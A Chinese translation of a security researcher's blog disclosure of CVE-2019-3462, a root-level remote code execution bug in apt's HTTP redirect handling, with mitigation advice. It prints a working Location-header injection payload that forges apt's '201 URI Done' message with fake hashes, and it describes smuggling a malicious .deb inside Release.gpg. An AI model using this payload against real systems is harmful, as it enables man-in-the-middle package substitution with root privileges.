翻译稿件:https://justi.cz/security/2019/01/22/apt-rce.html

1月22日,Max Justicz 在其博客中发布了关于 apt/apt-get 的远程执行漏洞(CVE-2019-3462)。
漏洞允许一个中间人或者是恶意的镜像源在受害者的机器上以root权限安装任意的软件包。
这个Bug已经在最新版本的apt中修复。
建议你也尽快升级你的apt版本,如果你担心在升级apt的过程中被攻击,你可以使用如下命令在升级的过程中禁用HTTP重定向。

$ sudo apt update -o Acquire::HTTP::AllowRedirect=false
$ sudo apt upgrade -o Acquire::HTTP::AllowRedirect=false

但是如果你当前的的镜像源默认为重定向的,那么你只能重新配置一个新的镜像源了。
如果你感兴趣,你也可以查看DebianUbuntu对于该漏洞的官方声明。

这里是该漏洞POC的视频,这是关于这个视频中配置环境的的Dockerfile:

FROM debian:latest

RUN apt-get update && apt-get install -y cowsay

背景

apt 支持多种协议。在获取数据的时候,apt 会对不同协议的数据传输 fork 出不同子进程(worker processes)。
父进程会利用 stdin/stdout 与这些子进程进行通信,通过一个类似 HTTP 的协议,告诉他们去下载什么东西,下载的东西放在那里,
例如,当在一台机器上运行指令 apt install cowsay,apt 将会 fork /usr/lib/apt/methods/HTTP的进程,返回 100 Capabilities 的信息。

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

父进程将会将基本的配置发送过去,并请求一个资源。

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

子进程在请求资源后,将会有如下的返回值

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

但是,如果HTTP服务器返回一个重定向,子进程则会返回一个 103 Redirect 而不是 201 URI Done
然后父进程则会根据这个重定向的返回值确定下一次要请求的资源。

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞

然而,子进程在处理HTTP服务器的返回值时,只是解码了HTTP头中的 location 字段,并且未加任何判断,就添加到了 103 Redirect 的返回值中

// From methods/baseHTTP.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
            << "New-URI: " << NewURI << "\n"
            << "\n" << std::flush;
Dequeue();
}

需要注意的是,上面这段代码在不同的apt版本中有很大的差别。上面的代码是选自1.4.X版本的,也就是Debian目前正在使用的版本。
而一些新版的Ubuntu使用的是1.6.X版本的apt,尽管在这里会对URI进行判断,但是在返回 600 URI Acquire 时也同样存在漏洞。

所以,如果HTTP服务器返回的Header中为 Location: /new-uri%0AFoo%3A%20Bar, 子进程将返回如下内容:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

或者,如果HTTP服务器返回的Header中为

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20HTTP%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

子进程将返回如下内容:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

这是,父进程将会信任在201 URI Done中植入的hash值,并且与对应的包进行对比。
因此攻击者可以伪造任意hash,并且利用这个漏洞来伪造任意的软件包。

如何植入恶意的软件包

在我的POC中,因为我是直接插入了一个201 URI Done,这样被攻击的机器上并没有开始下载软件包。
这时,我需要考虑一个方法,能够让我的恶意 .deb 程序被下载到目标机器上。

为了实现这一目标,我想到了在 apt update 期间下载的 Release.gpg 文件是可以被操纵的,并且会被下载到可预测的位置。
特别是,Release.gpg 文件包含了PNG签名,它的形式如下:

-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE----

如果在 Release.gpg 文件中包含了一些其他的内容,只要不破坏签名部分的内容,apt的签名验证程序依然可以通过。
所以我拦截了Release.gpg 文件的响应,并将我的恶意 .deb 添加在其前面。

<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

然后,我在安装软件包的201 URI Done响应中设置Filename参数指向:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

译者注:
这样,apt就会从将deb.debian.org_debian_dists_stretch_Release.gpg看做是一个*.deb安装包,并将其安装到系统中。

关于HTTP和HTTPS的一些讨论

为了便于使用,Debian 和 Ubuntu 默认情况下都会使用明文的HTTP存储库。

如果所有的文件都签名过了,那为什么还要使用HTTPS?
毕竟,使用HTTPS对用户的隐私增益很小,因为签名能够保证软件包不被替换。
并且使用HTTPS使得软件包的缓存更加困难。

人们普遍赞同这种观点,甚至还有人专门搭建了一个网站来解释为什么在apt中使用HTTPS是毫无意义的。

当然,他们说的也有对的地方,但是却会出现这篇文章中的漏洞。
而这个漏洞其实也有类似的案例 - Jann Horn在2016年就发现的另一个具有相同影响的漏洞
即使是使用HTTPS,一个恶意镜像仍然可以利用这样的bug。
但我认为,一个普通的网络攻击者发起这种攻击的可能性,远远大于 deb.debian.org

支持HTTP也没什么不好,我只是认为应该将默认的链接方式设置为HTTPS,
如果用户在深入了解机制后,可以自己将其降级为HTTP。

总结

首先要感谢 apt 的维护者们这么快就将漏洞补上了,在和 Debian 团队协调后,我才将这个漏洞的细节纰漏。

源链接

Hacking more

...